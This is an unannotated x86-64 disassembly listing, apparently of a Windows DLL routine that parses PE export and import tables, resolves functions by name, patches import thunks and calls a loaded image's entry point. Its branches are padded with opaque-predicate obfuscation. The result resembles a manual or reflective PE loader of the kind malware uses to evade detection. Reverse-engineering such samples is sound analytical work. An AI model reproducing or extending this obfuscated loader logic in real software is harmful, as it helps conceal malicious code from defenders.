lea rdi, [r12 + rbp*4]
cmp ebx, 0xa
jl 0x18000233f
lea ecx, [rdx - 1]
imul ecx, edx
and ecx, 1
jne 0x180002400
mov ecx, dword [rsi]
add dword [rdi + rcx*4], eax
mov edx, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
mov ebx, dword [rsi]
add dword [rdi + rbx*4], eax
cmp ecx, 0xa
jl 0x180002365
lea ecx, [rdx - 1]
imul ecx, edx
and ecx, 1
jne 0x18000233f
mov edx, dword [0x180020a70]
mov ebx, dword [0x180020a6c]
cmp ebx, 0xa
jl 0x1800023bd
lea ecx, [rdx - 1]
imul ecx, edx
and ecx, 1
jne 0x18000232b
jmp 0x1800023bd
cmp ecx, 0xa
jne 0x1800023bd
mov edi, ebp
mov ecx, dword [rsi]
add rdi, r12
add qword [rcx + rdi], rax
mov edx, dword [0x180020a70]
mov ebx, dword [0x180020a6c]
cmp ebx, 0xa
jl 0x1800023bd
lea ecx, [rdx - 1]
imul ecx, edx
and ecx, 1
je 0x1800023bd
mov ecx, dword [rsi]
add qword [rdi + rcx], rax
mov ecx, dword [rsi]
add qword [rdi + rcx], rax
jmp 0x180002393
cmp ebx, 0xa
jl 0x1800022c5
lea ecx, [rdx - 1]
imul ecx, edx
and ecx, 1
je 0x1800022c5
jmp 0x180002402
cmp ebx, 0xa
jl 0x180002276
lea ecx, [rdx - 1]
imul ecx, edx
and ecx, 1
je 0x180002276
jmp 0x1800023ef
jmp 0x180002400
jmp 0x180002402
jmp 0x180002404
mov rax, r12
mov r12d, dword [r15 + 0x90]
add r12, rax
mov r15, rax
add rax, 2
mov qword [rsp + 0x48], rax
lea eax, [rdx - 1]
imul eax, edx
test al, 1
sete cl
cmp ebx, 0xa
setl al
or al, cl
test al, al
je 0x180002432
mov r13d, dword [r12 + 0xc]
test r13, r13
je 0x1800027fa
add r13, r15
mov rcx, qword [rsp + 0x38]
call fcn.180002870
mov r9, rax
cmp dword [0x180020a7c], 0xa
jl 0x180002472
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800027f0
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a84], 0xa
jl 0x1800024a1
mov eax, dword [0x180020a88]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x1800027f2
add r8, r9
mov ebp, dword [r9 + rcx + 0x20]
mov ecx, dword [r9 + rcx + 0x24]
add rbp, r9
add rcx, r9
mov rsi, qword [rsp + 0x40]
mov ebx, dword [rbp]
add rbx, r9
mov rdi, rsi
movzx eax, byte [rdi]
movzx edx, byte [rbx]
test al, al
je 0x1800024d8
add rdi, 1
add rbx, 1
cmp al, dl
je 0x1800024c2
cmp al, dl
je 0x1800024e6
add rbp, 4
add rcx, 2
jmp 0x1800024b9
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r9, rax
mov rcx, r13
call r9
mov r14, rax
mov edx, dword [0x180020a70]
mov ebx, dword [0x180020a6c]
cmp ebx, 0xa
jl 0x1800026aa
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
je 0x1800026aa
mov rcx, qword [rsp + 0x38]
call fcn.180002870
mov rsi, rax
cmp dword [0x180020a7c], 0xa
jl 0x180002548
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800027e8
movsxd rax, dword [rsi + 0x3c]
mov ecx, dword [rsi + rax + 0x88]
mov r8d, dword [rsi + rcx + 0x1c]
cmp dword [0x180020a84], 0xa
mov r9, qword [rsp + 0x40]
jl 0x18000257b
mov eax, dword [0x180020a88]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x1800027ea
add r8, rsi
mov ebp, dword [rsi + rcx + 0x20]
mov ecx, dword [rsi + rcx + 0x24]
add rbp, rsi
add rcx, rsi
mov ebx, dword [rbp]
add rbx, rsi
mov rdi, r9
nop word cs:[rax + rax]
nop
movzx eax, byte [rdi]
movzx edx, byte [rbx]
test al, al
je 0x1800025b6
add rdi, 1
add rbx, 1
cmp al, dl
je 0x1800025a0
cmp al, dl
je 0x1800025c4
add rbp, 4
add rcx, 2
jmp 0x18000258c
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add rsi, rax
mov rcx, r13
call rsi
mov rcx, qword [rsp + 0x38]
call fcn.180002870
mov rsi, rax
cmp dword [0x180020a7c], 0xa
jl 0x1800025fe
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800027ec
movsxd rax, dword [rsi + 0x3c]
mov ecx, dword [rsi + rax + 0x88]
mov r8d, dword [rsi + rcx + 0x1c]
cmp dword [0x180020a84], 0xa
mov r9, qword [rsp + 0x40]
jl 0x180002631
mov eax, dword [0x180020a88]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x1800027ee
add r8, rsi
mov ebp, dword [rsi + rcx + 0x20]
mov ecx, dword [rsi + rcx + 0x24]
add rbp, rsi
add rcx, rsi
mov ebx, dword [rbp]
add rbx, rsi
mov rdi, r9
nop dword [rax + rax]
movzx eax, byte [rdi]
movzx edx, byte [rbx]
test al, al
je 0x180002666
add rdi, 1
add rbx, 1
cmp al, dl
je 0x180002650
cmp al, dl
je 0x180002674
add rbp, 4
add rcx, 2
jmp 0x180002642
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add rsi, rax
mov rcx, r13
call rsi
cmp dword [0x180020a6c], 0xa
jl 0x180002447
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x18000251d
jmp 0x180002447
mov eax, dword [r12]
mov qword [rsp + 0x50], rax
mov rax, qword [r15 + rax]
test rax, rax
je 0x1800027df
mov rcx, r15
add qword [rsp + 0x50], r15
mov r13d, dword [r12 + 0x10]
add r13, r15
jmp 0x1800026f1
add r13, 8
mov rcx, qword [rsp + 0x50]
mov rax, qword [rcx + 8]
add rcx, 8
mov qword [rsp + 0x50], rcx
test rax, rax
je 0x1800027df
mov rcx, qword [rsp + 0x48]
add rcx, rax
test rax, rax
movzx eax, ax
cmovns rax, rcx
mov qword [rsp + 0x68], rax
mov rcx, qword [rsp + 0x38]
call fcn.180002870
mov rsi, rax
cmp dword [0x180020a7c], 0xa
jl 0x180002733
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800027f4
movsxd rax, dword [rsi + 0x3c]
mov ecx, dword [rsi + rax + 0x88]
mov r8d, dword [rsi + rcx + 0x1c]
cmp dword [0x180020a84], 0xa
jl 0x180002761
mov eax, dword [0x180020a88]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x1800027f6
add r8, rsi
mov edx, dword [rsi + rcx + 0x20]
mov ecx, dword [rsi + rcx + 0x24]
add rdx, rsi
add rcx, rsi
mov ebp, dword [rdx]
add rbp, rsi
mov rdi, qword [rsp + 0x70]
movzx eax, byte [rdi]
movzx ebx, byte [rbp]
test al, al
je 0x180002793
add rdi, 1
add rbp, 1
cmp al, bl
je 0x18000277c
cmp al, bl
je 0x1800027a1
add rdx, 4
add rcx, 2
jmp 0x180002772
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add rsi, rax
mov rcx, r14
mov rdx, qword [rsp + 0x68]
call rsi
mov qword [r13], rax
mov edx, dword [0x180020a70]
mov ebx, dword [0x180020a6c]
cmp ebx, 0xa
jl 0x1800026d2
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
je 0x1800026d2
jmp 0x1800027f8
add r12, 0x14
jmp 0x18000241f
jmp 0x1800027e8
jmp 0x1800027ea
jmp 0x1800027ec
jmp 0x1800027ee
jmp 0x1800027f0
jmp 0x1800027f2
jmp 0x1800027f4
jmp 0x1800027f6
jmp 0x1800027f8
mov rax, qword [rsp + 0x58]
mov eax, dword [rax + 0x28]
add rax, r15
call rax
cmp dword [0x180020a6c], 0xa
jl 0x180002853
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180002853
mov rsi, qword [rsp + 0x58]
mov eax, dword [rsi + 0x28]
mov rdi, r15
add rax, r15
call rax
mov eax, dword [rsi + 0x28]
add rax, r15
call rax
cmp dword [0x180020a6c], 0xa
jl 0x180002853
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002826
xor eax, eax
add rsp, 0x78
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret